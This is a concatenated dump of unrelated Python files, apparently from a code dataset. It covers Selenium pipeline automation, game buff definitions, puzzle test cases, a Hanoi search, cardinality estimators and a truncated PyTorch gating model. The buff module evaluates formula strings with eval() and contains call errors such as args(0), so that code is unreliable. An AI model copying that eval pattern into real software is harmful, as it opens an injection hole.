job.select_comp(product_consistency)\n except:\n jd = JobDetails(status = 'Non Additive Measue Consistency Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Non Additive Measue Consistency Skipped')\n return\n job.para_temp('Enter Fact Column',['wd','nd'])\n job.para_temp('Enter Market Column',['market'])\n job.para_temp('Enter Period column',['period'])\n job.para_man('Enter Hierarchy columns','manufacturer,brand,subbrand,variant')\n \n #select category total consistency\n def category_total_consistency(self):\n try:\n category_consistency=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Category Total')]/..//*[contains(text(), 'Consistency')]\")\n job.select_comp(category_consistency)\n except:\n jd = JobDetails(status = 'Category Total Consistency Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Category Total Consistency Skipped')\n return\n job.para_temp('Enter Market column',['market'])\n job.para_temp('Enter Period Column',['period'])\n job.para_man('Skip the component?','no')\n job.para_temp('Enter column for low level checking',[fill_parameters.hierarchy.split(',')[-1]])\n job.para_man('Enter The Threshold Value','1')\n job.para_temp('Enter the Manufacturer Column Name',['manufacturer'])\n job.para_man('Category level column,Do You Want to Check on Manufacturer[yes/no]','no')\n job.para_temp('Enter Additive Facts Columns for check',['value','volume'])\n \n #select trend check\n def trend_check(self):\n try:\n Trend_check=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Trend')]/..//*[contains(text(), 'Consistency')]\")\n job.select_comp(Trend_check)\n except:\n jd = JobDetails(status = 'Trend Check Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Trend Check Skipped')\n return\n job.para_man('Complete Hierarchy',fill_parameters.hierarchy)\n job.para_temp('Check Consistency upto Level',[fill_parameters.hierarchy.split(',')[-1]])\n job.para_man(\"Table Name\",fill_parameters.country+'_'+fill_parameters.subcategory)\n job.para_temp('Measures',['value','volume','promo_value','promo_volume'])\n job.para_data('Database Configurations','RMS_StorageDB')\n job.para_man('Time period','#LATEST_DATE')\n job.para_man('Skip Component(Yes|No)','Yes ') \n job.para_man('Threshold','0.25')\n job.para_temp('Market',['market'])\n \n #select scaling\n def scaling(self):\n try:\n scaling=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Scaling')]\")\n job.select_comp(scaling)\n except:\n jd = JobDetails(status = 'Scaling Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Scaling Skipped')\n return\n if fill_parameters.is_promo==1:\n job.para_man('Arithmetic Expression','value={value}*{'+fill_parameters.value+'},volume={volume}*{'+fill_parameters.volume+'},promo_value={promo_value}*{'+fill_parameters.promo_value+'},promo_volume={promo_volume}*{'+fill_parameters.promo_volume+'}')\n elif fill_parameters.is_promo==0:\n job.para_man('Arithmetic Expression','value={value}*{'+fill_parameters.value+'},volume={volume}*{'+fill_parameters.volume+'}')\n else:\n print('Wrong input parameter hence skipped')\n \n #select forex conversion\n def forex(self):\n try:\n forex_conv=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Forex Conversion')]\")\n job.select_comp(forex_conv)\n except:\n jd = JobDetails(status = 'Forex Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Forex Skipped')\n return\n job.para_temp('Columns to work',['value','promo_value'])\n job.para_man('Country id',str(fill_parameters.countryid))\n job.para_man('Date/Period column name','#LATEST_DATE')\n job.para_man('Enter the date format of database column','yyyy-MM-dd')\n job.para_dict('Monthly Forex Conversion Reader','Forex_Conversion')\n \n #select constant dollar\n def constant_dollar(self):\n try:\n const_dollar=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Constant Dollar')]\")\n job.select_comp(const_dollar)\n except:\n jd = JobDetails(status = 'Constant Dollar Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Constant Dollar Skipped')\n return\n job.para_man('Database Table Name','map_forex')\n job.para_temp('Columns to replicate Old Column',['value','promo_value'])\n job.para_man('Country Column Name Table','countryid')\n job.para_data('Database Configuration','RMS_MappingDB')\n job.para_man('Enter Rate Column From Table','rate')\n job.para_man('Enter Period Column from Table','date')\n \n #select market mapping\n def market_mapping(self):\n try:\n market_mapping=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Market Mapping')]\")\n job.select_comp(market_mapping)\n except:\n jd = JobDetails(status = 'Market Mapping Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Market Mapping Skipped')\n return\n job.para_man('Column To Search','{market_local:market}')\n job.para_man('Column To Mapped','{global_channel_id:global_channel_id}')\n job.para_dict('Mapping Dictionary',fill_parameters.cc+'_Market_Mapping')\n \n #select manufacturer mapping\n def manufacturer_mapping(self):\n try:\n manuf_mapping=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Manufacturer')]/..//*[contains(text(), 'Mapping')]\")\n job.select_comp(manuf_mapping)\n except:\n jd = JobDetails(status = 'Manufacturer Mapping Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Manufacturer Mapping Skipped')\n return\n job.para_man('Column To Search','{manufacturer_local:manufacturer}')\n job.para_man('Column To Mapped','{global_manufacturer_id:global_manufacturer_id},{manufacturer_id:manufacturerid}')\n job.para_dict('Mapping Dictionary',fill_parameters.cc+'_Manufacturer_Mapping')\n \n #select product mapping\n def product_mapping(self):\n try:\n prod_mapping=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Product Mapping')]\")\n job.select_comp(prod_mapping)\n except:\n jd = JobDetails(status = 'Product Mapping Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Product Mapping Skipped')\n return\n job.para_man('Column To Search','{hashkey:hashkey}')\n if fill_parameters.is_split==0:\n job.para_man('Column To Mapped','{global_variant_id:global_variant_id},{global_subbrand_id:global_subbrand_id},{global_brand_id:global_brand_id},{variantid:variantid},{subbrandid:subbrandid},{brandid:brandid}')\n elif fill_parameters.is_split==1:\n job.para_man('Column To Mapped','{global_variant_id:global_variant_id},{global_subbrand_id:global_subbrand_id},{global_brand_id:global_brand_id},{variantid:variantid},{subbrandid:subbrandid},{brandid:brandid},{subcategoryid:global_subcategory_id}')\n job.para_dict('Mapping Dictionary',fill_parameters.cc+'_Product_Mapping')\n \n #select verification check\n def verification_check(self):\n try:\n verf_check=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Verification Check')]\")\n job.select_comp(verf_check)\n except:\n jd = JobDetails(status = 'Verification Check Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Verification Check Skipped')\n return\n job.para_man('Date column name to check','#LATEST_DATE')\n job.para_temp('Last level of Hierarchy',[fill_parameters.hierarchy.split(',')[-1]])\n job.para_data('Database Configuration','RMS_VerificationDB')\n job.para_man('Fact column names to check','value,volume')\n job.para_man('Hierarchy to check',fill_parameters.hierarchy)\n \n #select BM Mapping\n def bm_mapping(self):\n try:\n BM_Mapping=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Brand')]/..//*[contains(text(), 'Manufacturer')]/..//*[contains(text(), 'Mapping')]\")\n job.select_comp(BM_Mapping)\n except:\n jd = JobDetails(status = 'BM Mapping Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('BM Mapping Skipped')\n return\n job.para_data('Database Configuration','RMS_MappingDB')\n \n #select KV additive\n def kv_additive(self):\n try:\n KV_additive=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Additive KV')]\")\n job.select_comp(KV_additive)\n except:\n jd = JobDetails(status = 'Additive KV Generation Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Additive KV Generation Skipped')\n return\n job.para_temp('Enter Last Hierarchy Column',[fill_parameters.hierarchy.split(',')[-1]])\n job.para_man('Enter Channel Id Column','global_channel_id')\n job.para_man('Enter Global Variant Id Column','global_variant_id')\n if fill_parameters.is_promo==1:\n job.para_man('Enter Facts Columns','value,volume,promo')\n elif fill_parameters.is_promo==0:\n job.para_man('Enter Facts Columns','value,volume')\n job.para_man('Enter the Parent Channel Id','7')\n \n #select KV non-additive\n def kv_nonadditive(self):\n try:\n KV_additive=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Non Additive KV')]\")\n job.select_comp(KV_additive)\n except:\n jd = JobDetails(status = 'Non Additive KV Generation Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Non Additive KV Generation Skipped')\n return\n job.para_man('Enter Channel Id Column','global_channel_id')\n job.para_temp('Non Additive facts to check',['nd','wd'])\n job.para_man('Hierarchy to check',fill_parameters.hierarchy)\n \n #select AT Manufacturer\n def at_manufacturer(self):\n try:\n AT_Manufacturer=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'AT Manufacturer')]\")\n job.select_comp(AT_Manufacturer)\n except:\n jd = JobDetails(status = 'AT Manufacturer Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('AT Manufacturer Skipped')\n return\n job.para_data('Select Database Configuration','RMS_MappingDB')\n \n #select AT Update\n def at_update(self):\n try:\n AT_Update=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'AT Update Date')]\")\n job.select_comp(AT_Update)\n except:\n jd = JobDetails(status = 'AT Update Date Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('AT Update Date Skipped')\n return\n job.para_data('Select Database Configuration','RMS_MappingDB')\n \n #select other market\n def other_market(self):\n try:\n other_market=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Other Market')]\")\n job.select_comp(other_market)\n except:\n jd = JobDetails(status = 'Other Market Create Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Other Market Create Skipped')\n return\n job.para_man('Enter the heirarchy from Product Description','prod_desc,'+fill_parameters.hierarchy)\n job.para_man('Enter the New Market Name',fill_parameters.country+' Other Market')\n job.para_man(\"Enter the column name for Global channel ID\",'global_channel_id')\n job.para_man('Enter Parent Market',fill_parameters.parent_market)\n job.para_temp('Enter Market column',['market'])\n job.para_temp('Enter Period Column',['period'])\n job.para_temp('Enter Non-additive Facts Columns',['wd','nd','price'])\n job.para_man('Enter the Global Channel ID','8')\n job.para_temp('Enter Additive Facts Columns',['value','volume','promo_value','promo_volume'])\n \n #select bimonthly to month\n def bimonthly_to_monthly(self):\n try: \n btm=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Bimonthly to')]\")\n job.select_comp(btm)\n except:\n jd = JobDetails(status = 'Bimonthly to Monthly Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Bimonthly to Monthly Skipped')\n return\n job.para_temp(\"Additive Facts\",['value','volume','promo_value','promo_volume'])\n \n #select weekly component\n def weekly_conversion(self):\n try:\n wc=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Weekly')]/..//*[contains(text(), 'Conversion')]\")\n job.select_comp(wc)\n except:\n jd = JobDetails(status = 'Weekly Conversion Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Weekly Conversion Skipped')\n return\n job.para_temp('additive fact column name',['value','volume','promo_value','promo_volume'])\n job.para_man('Period column','#LATEST_DATE')\n job.para_man('hierarchy along with market and period column','market,period,prod_desc,'+fill_parameters.hierarchy)\n job.para_temp('period column to update',['period'])\n job.para_temp('Non additive fact column name',['wd','nd','price'])\n job.para_dict('Weekly conversion dictionary','Weekly_Conversion')\n\n #replace null by zero \n def replace_null_by_zero(self):\n try:\n z=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Replace Null By')]\")\n job.select_comp(z)\n except:\n jd = JobDetails(status = 'Replace Null By Zero Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Replace Null By Zero Skipped')\n return\n job.para_temp('Enter All Fact Columns',['value','volume','wd','nd','price','promo_value','promo_volume'])\n \n #update country details\n def update_country_details(self):\n try:\n ucd=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Update Country')]/..//*[contains(text(), 'Details')]\")\n job.select_comp(ucd)\n except:\n jd = JobDetails(status = 'Update Country Details Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Update Country Details Skipped')\n return\n job.para_dict('Country dictionary','country')\n \n #update country details\n def update_subcat_details(self):\n try:\n usd=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Update')]/..//*[contains(text(), 'Subcategory')]\")\n job.select_comp(usd)\n except: \n jd = JobDetails(status = 'Update Subcategory Details Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Update Subcategory Details Skipped')\n return\n if fill_parameters.is_split==1:\n job.para_man('Column To Search','{id:global_subcategory_id}')\n job.para_man('Column To Mapped','{subcategory_key:global_subcategory_key},{cd_ni:global_subcategory_code}')\n job.para_dict('Mapping Dictionary','Split_Subcategory')\n elif fill_parameters.is_split==0:\n job.para_dict('Subcategory dictionary','Subcategory')\n\n #latest period trend\n def latest_period_trend(self):\n try:\n lpt=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Latest Period')]/..//*[contains(text(), 'Trend')]\")\n job.select_comp(lpt)\n except:\n jd = JobDetails(status = 'Latest Period Trend Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Latest Period Trend Skipped')\n return\n job.para_temp('Enter market',['market'])\n job.para_temp('Enter Additive measures',['value','volume','promo_value','promo_volume'])\n job.para_man('Enter Threshold margin',15)\n job.para_man('Enter Periodicity','Bimonthly')\n job.para_man('Enter hierarchy to check',fill_parameters.hierarchy)\n \n #volume density\n def volume_density(self):\n try:\n vd=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Volume Density')]\")\n job.select_comp(vd)\n except:\n jd = JobDetails(status = 'Volume Density Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Volume Density Skipped')\n return\n job.para_temp('Fact Columns',['volume'])\n job.para_temp('Product Name',['prod_desc']) \n \n def split_subcategory(self):\n try:\n ss=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Split Subcategory')]\")\n job.select_comp(ss)\n except:\n jd = JobDetails(status = 'Split Subcategory Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Split Subcategory Skipped')\n return\n job.para_man('Enter Keywords : Subcategory','Not Required')\n job.para_man('Column that contains keyword','prod_desc')\n job.para_man('Enter Hierarchy','prod_desc,'+fill_parameters.hierarchy)\n \n def rule_engine_update_or_insert(self):\n try:\n reuoi=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Rule Engine')]/..//*[contains(text(), 'Update')]/..//*[contains(text(), 'or')]/..//*[contains(text(), 'Insert')]\")\n job.select_comp(reuoi)\n except:\n jd = JobDetails(status = 'Rule Engine Update or Insert Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Rule Engine Update or Insert Skipped')\n return\n job.para_man('Column To Insert->{column name to Insert:column/keywords:last level}','Not Required')\n job.para_man('Skip the component?','Yes')\n job.para_man(\"Condition for Update->{columnname:keywords:operation}\",'Not Required')\n job.para_man('Column to Update->{column name to Update:column/keywords:last level}','Not Required')\n job.para_man('Condition for Insert->{columnname:keywords:operation}','Not Required')\n \n \n def delete_on_hierarchy(self):\n try:\n doh=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Delete On')]/..//*[contains(text(), 'Hierarchy')]\")\n except:\n jd = JobDetails(status = 'Delete On Hierarchy Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Delete On Hierarchy Skipped')\n return\n job.para_man('Please Enter Keyword With Level {ColumnName:Keyword:Condition:LastLevel}','Not Required')\n job.para_man('Please Enter Condition {ColumnToCheck:concat1,concat2:Condition:s/c}','Not Required')\n job.para_man('Please Enter hierarchy to Check','Not Required')\n job.para_man('Do You Want To Skip this Component(Yes/No)','Yes')\n \n def rule_engine_detection(self):\n try:\n red=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Rule Engine')]/..//*[contains(text(), 'Deletion')]\")\n job.select_comp(red)\n except:\n jd = JobDetails(status = 'Rule Engine Deletion Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Rule Engine Deletion Skipped')\n return\n job.para_man('Enter Expression : (Format:{Columnname:keyword:condition::Columnname:keyword:condition})','Not Required')\n job.para_man('Skip the component?','Yes')\n \n def set_hierarchy_based_on_keywords(self):\n try:\n shbok=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Set Hierarchy')]/..//*[contains(text(), 'based')]/..//*[contains(text(), 'on')]/..//*[contains(text(), 'keywords')]\")\n job.select_comp(shbok)\n except:\n jd = JobDetails(status = 'Set Hierarchy Based on Keywords Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n # print('Set Hierarchy Based on Keywords Skipped')\n return\n job.para_man('Complete Hijob_automati0nerarchy','Not Required')\n job.para_man('Enter Level:Keyword (Comma Seperated)','Not Required')\n job.para_man('Column that contains keyword','Not Required')\n job.para_man('Skip the component?','Yes')\n\n def fractal_generation_other(self):\n try:\n shbok=chrome.driver.find_element_by_xpath(\"//*[contains(text(), 'Fractal')]/..//*[contains(text(), 'Generation')]/..//*[contains(text(), 'on')]/..//*[contains(text(), 'Other')]\")\n job.select_comp(shbok)\n except:\n jd = JobDetails(status = 'Fractal Generation Other Skipped', message_type = 'warning', transId_id = self.number , updateTime = timezone.now())\n jd.save()\n return\n job.para_man('Hierarchy','prod_desc,'+fill_parameters.hierarchy)\n job.para_man('Product Description to add','Fractal Generated')\n job.para_man('Enter Category/Keyword->{Category:Keyword:Appender}','Not Required')\n job.para_temp('Non Additive Facts',['wd','nd','price'])\n job.para_temp('Market Name',['market'])\n job.para_temp('Period Name',['period'])\n job.para_man('Enter Tagging column',\"Not Required\")\n job.para_man('Skip the component?',\"No\")\n\n\n\n\n\n ","sub_path":"codes/concordia_job/Job.py","file_name":"Job.py","file_ext":"py","file_size_in_byte":48103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"8101483","text":"# -*- coding: utf-8 -*-\r\n\r\n# buff类型位置\r\nBUFF_TYPEPOS_BUFF = 1 # 增益\r\nBUFF_TYPEPOS_DEBUFF = 2 # 减益\r\nBUFF_TYPEPOS_SEAL = 3 # 封印\r\nBUFF_TYPEPOS_SPECIAL = 4 # 特殊\r\n\r\n# buff类型\r\nBUFF_TYPE_BUFF = 10 # 增益\r\n# BUFF_TYPE_CURE = 11 # 治疗\r\nBUFF_TYPE_DEBUFF = 20 # 减益\r\nBUFF_TYPE_SEAL = 30 # 封印\r\n# BUFF_TYPE_POISON = 31 # 毒\r\nBUFF_TYPE_SPECIAL = 40 # 特殊\r\n\r\nbuffTypeDesc = {\r\n\t\"增益\": \"BUFF_TYPE_BUFF\",\r\n\t\"减益\": \"BUFF_TYPE_DEBUFF\",\r\n\t\"封印\": \"BUFF_TYPE_SEAL\",\r\n\t\"特殊\": \"BUFF_TYPE_SPECIAL\",\r\n}\r\n\r\ndef getBuffTypeDesc(name):\r\n\tif name not in buffTypeDesc:\r\n\t\traise Exception(\"错误的buff类型名\")\r\n\treturn buffTypeDesc[name]\r\n\r\n\r\n#===============================================================================\r\n# 公式代码转换\r\n#===============================================================================\r\ndef pattern1(w, *args):\r\n\treturn w.level * float(args(0)) / float(args[1]) + float(args[2])\r\n\r\ndef pattern2(w, *args):\r\n\treturn w.level * float(args(0)) + float(args(1))\r\n\r\ndef pattern3(w, *args):\r\n\treturn w.level * float(args(0))\r\n\r\n\r\ncodePatternList = (\r\n\t(\"LV\\*(\\S+)/(\\S+)\\+(\\S+)\", pattern1), # LV*10/5+70\r\n\t(\"LV\\*(\\S+)\\+(\\S+)\", pattern2), # LV*10+70\r\n\t(\"LV\\*(\\S+)\", pattern3), # LV*10\r\n)\r\n\r\ndef transCodeByPattern(pfObj, val, att=None, vic=None):\r\n\t'''根据正则表达式转换公式\r\n\t'''\r\n\tif isinstance(val, (int, float)):\r\n\t\treturn int(val)\r\n\tif isinstance(val, str):\r\n\t\tif val.isdigit():\r\n\t\t\treturn int(val)\r\n\t\tfor pattern, func in codePatternList:\r\n\t\t\tm = re.match(pattern, val)\r\n\t\t\tif m:\r\n\t\t\t\tval = func(pfObj, att, vic, *m.groups())\r\n\t\t\t\treturn int(val)\r\n\t\t\r\n\t\treturn int(eval(val))\r\n\t\r\n\treturn val\r\n\r\nimport re\r\n\r\n\r\n","sub_path":"logic/buff/defines.py","file_name":"defines.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"44514776","text":"\"\"\"\nTESTS is a dict with all you tests.\nKeys for this will be categories' names.\nEach test is dict with\n \"input\" -- input data for user function\n \"answer\" -- your right answer\n \"explanation\" -- not necessary key, it's using for additional info in animation.\n\"\"\"\n\nTESTS = {\n \"Basics\": [\n {\n \"input\": ['G5', 'N', 'G4'],\n \"answer\": ['F', 1]\n },\n {\n \"input\": ['G5', 'N', 'I4'],\n \"answer\": ['R', 2]\n },\n {\n \"input\": ['G5', 'N', 'J6'],\n \"answer\": ['R', 3]\n },\n {\n \"input\": ['G5', 'N', 'G9'],\n \"answer\": ['B', 4]\n },\n {\n \"input\": ['G5', 'N', 'B7'],\n \"answer\": ['L', 5]\n },\n {\n \"input\": ['G5', 'N', 'A2'],\n \"answer\": ['L', 6]\n },\n {\n \"input\": ['G3', 'NE', 'C5'],\n \"answer\": ['B', 4]\n },\n {\n \"input\": ['H3', 'SW', 'E2'],\n \"answer\": ['R', 3]\n },\n {\n \"input\": ['A4', 'S', 'M4'],\n \"answer\": ['L', 12]\n },\n\n ],\n\n\t\"Extra\": [\n\t\t{\n\t\t\t\"input\": ['C3', 'SE', 'A1'],\n\t\t\t\"answer\": ['B', 3]\n\t\t},\n\t\t{\n\t\t\t\"input\": ['D3', 'E', 'A1'],\n\t\t\t\"answer\": ['L', 4]\n\t\t},\n {\n \"input\": ['A1', 'SW', 'Z9'],\n \"answer\": ['B', 25]\n },\n\t],\n}\n","sub_path":"verification/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"642193954","text":"#!/usr/bin/python3\n\nimport json\nimport sys\n\nwith open(sys.argv[1], 'r') as fp:\n data = json.load(fp)\n\nname = sys.argv[1].split(\".\")[0]\nprefix = \"Info_\" + name + \"/IncIters/\"\nfor nclients in range(10,40,5):\n nclis = str(nclients)\n\n outf = open(prefix + nclis + \"_clients.csv\", \"x\")\n outf.write(name + \"With \" + nclis + \" clients,;\\n\")\n outf.write(\"Number iterations, time;\\n\")\n\n\n # keylist = data.keys()\n # keylist.sort()\n for iters in range(50,500,50):\n nits = str(iters)\n # real = data[req][nits]['ack_clients']\n t = data[nclis][nits]['avg_time']\n outf.write(nits + \",\" + str(t) + \";\\n\")\n\n outf.close()\nprint(\"File has been generated succesfully!!\")\n","sub_path":"zeos/Lab5/stats/info/IncItersgenCSV.py","file_name":"IncItersgenCSV.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"115798164","text":"from base import *\nfrom iterativeDeepeningSearch import getAccesibleStates\nfrom iterativeDeepeningSearch import Tree\n\nclass UniformCost:\n def __init__(self, hanoi):\n self.hanoi = hanoi\n self.states = [[hanoi.state,0]]\n self.result = 0\n self.tree = 0\n self.no_transitions = 0\n self.history = [hanoi.state]\n\n def run(self):\n bfs_list = [(self.hanoi, 0)]\n while len(bfs_list) > 0:\n self.no_transitions +=1\n accesible_state = getAccesibleStates(bfs_list[0][0], self.history)\n for state in accesible_state:\n self.states.append((state.state, bfs_list[0][1] + 1))\n self.history.append(state.state)\n if state.end():\n self.result = [i for i in self.states if i[0] == state.state]\n return state\n bfs_list.append((state, bfs_list[0][1] + 1))\n del bfs_list[0]\n\nif __name__ == \"__main__\":\n h = Hanoi(4, 4)\n uc = UniformCost(h)\n uc.run()\n print(uc.result)","sub_path":"uniformCost.py","file_name":"uniformCost.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"325946483","text":"import numpy as np\nimport random\nimport time\n\ndef timing(f):\n def wrap(*args):\n time1 = time.time()\n ret = f(*args)\n time2 = time.time()\n #print('{:s} function took {:.3f} s'.format(f.__name__, (time2-time1)))\n\n return ret, time2-time1\n return wrap\n\ndef trailing_zeroes(num):\n \"\"\"Counts the number of trailing 0 bits in num.\"\"\"\n if num == 0:\n return 32 # Assumes 32 bit integer inputs!\n p = 0\n while (num >> p) & 1 == 0:\n p += 1\n return p\n\ndef generate_R_distinct_values(R):\n \"\"\"\n Generates R distinct values between 0 and 2**32 - 1\n !! Make sure to not set a seed anywhere, else they will be the same every time\n which kind of destroys the purpose of having 'different' hash functions\n \"\"\"\n distinct = np.random.randint(0,2**32-1,int(R*1.2))\n distinct = np.unique(distinct)\n distinct = distinct[:R]\n assert len(distinct) == R\n\n return distinct\n\n#@timing\ndef estimate_cardinality_loglog(values, k):\n \"\"\"Estimates the number of unique elements in the input set values using the LogLog algorithm\n\n Arguments:\n values: An iterator of hashable elements to estimate the cardinality of.\n k: The number of bits of hash to use as a bucket number; there will be 2**k buckets.\n \"\"\"\n num_buckets = 2 ** k\n max_zeroes = [0] * num_buckets\n for h in values: \n bucket = h & (num_buckets - 1) # Mask out the k least significant bits as bucket ID\n bucket_hash = h >> k\n max_zeroes[bucket] = max(max_zeroes[bucket], trailing_zeroes(bucket_hash))\n return 2 ** ( np.mean(max_zeroes)) * num_buckets * 0.79402\n\ndef estimate_cardinality_FM(values):\n \"\"\"Estimates the number of unique elements in the input set values using the FM algortihm\n\n Arguments:\n values: An iterator of hashable elements to estimate the cardinality of.\n \"\"\"\n max_zeroes = 0\n for value in values: \n h = value\n max_zeroes = max(max_zeroes, trailing_zeroes(h))\n return 2 ** max_zeroes\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"assignment2/assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"474584333","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPyTorch: Tensors and autograd\n-------------------------------\n\nA fully-connected ReLU network with one hidden layer and no biases, trained to\npredict y from x by minimizing squared Euclidean distance.\n\nThis implementation computes the forward pass using operations on PyTorch\nTensors, and uses PyTorch autograd to compute gradients.\n\n\nA PyTorch Tensor represents a node in a computational graph. If ``x`` is a\nTensor that has ``x.requires_grad=True`` then ``x.grad`` is another Tensor\nholding the gradient of ``x`` with respect to some scalar value.\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.autograd import Variable\n\n\n\ndtype = torch.float\ndevice = torch.device(\"cpu\")\n# device = torch.device(\"cuda:0\") # Uncomment this to run on GPU\n\n# N is batch size; D_in is input dimension;\n# H is hidden dimension; D_out is output dimension.\nD_out = 2\nN, CH, W, H = 5, 3, 5, 5\n\n# Create random Tensors to hold input and outputs.\n# Setting requires_grad=False indicates that we do not need to compute gradients\n# with respect to these Tensors during the backward pass.\nx = torch.randn(N, CH, W, H, device=device, dtype=dtype)\ny = torch.randn(N, 2, device=device, dtype=dtype)\n\n# Create random Tensors for weights.\n# Setting requires_grad=True indicates that we want to compute gradients with\n# respect to these Tensors during the backward pass.\n# w1 = torch.randn(D_in, H, device=device, dtype=dtype, requires_grad=True)\n# w2 = torch.randn(H, D_out, device=device, dtype=dtype, requires_grad=True)\n\n# variable = torch.zeros(1, dtype=torch.float, requires_grad=True)\n# sig = torch.nn.Sigmoid()\n# percentage = sig(variable)\n\nclass _Gate(nn.Sequential):\n phase = 2\n def __init__(self):\n super(_Gate, self).__init__()\n self.x = torch.tensor([1.], requires_grad=False)\n self.weight = torch.tensor([0.], requires_grad=False)\n self.sig = nn.Sigmoid()\n def forward(self, x):\n\n x = x * self.sig(self.x * self.weight)\n return x\n\nclass _Model(nn.Module):\n def __init__(self, in_planes=3, planes=3):\n super(_Model, self).__init__()\n self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=1, stride=1, padding=0, bias=False)\n self.bn = nn.BatchNorm2d(planes)\n self.relu = nn.ReLU(inplace=True)\n self.gate1 = _Gate()\n self.conv2 = nn.Conv2d(planes, planes, kernel_size=1, stride=1, padding=0, bias=False)\n self.gate2 = _Gate()\n self.fc = nn.Linear(5, 2)\n\n def forward(self, x):\n out = self.conv1(x)\n out = self.bn(out)\n out = self.relu(out)\n out = self.gate1(out)\n out = self.conv2(out)\n out = self.gate2(out)\n out = self.fc(out)\n return out\n\nmodel = _Model()\n\nprint('model', model)\n\ndef context_switching():\n\n for m in model._modules:\n # print('index', m)\n\n child = model._modules[m]\n # print('child', child)\n\n if hasattr(child, 'phase'):\n if child.weight.requires_grad:\n child.weight.requires_grad = False\n print('phase is 2 False')\n else:\n child.weight.requires_grad = True\n \n # print(child.weight)\n # print(child.weight.requires_grad)\n else:\n if hasattr(child, 'weight'):\n # child.weight.requires_grad = False\n if child.weight.requires_grad:\n child.weight.requires_grad = False\n print('phase is 1 False')\n else:\n child.weight.requires_grad = True\n\n # print(child.weight)\n # 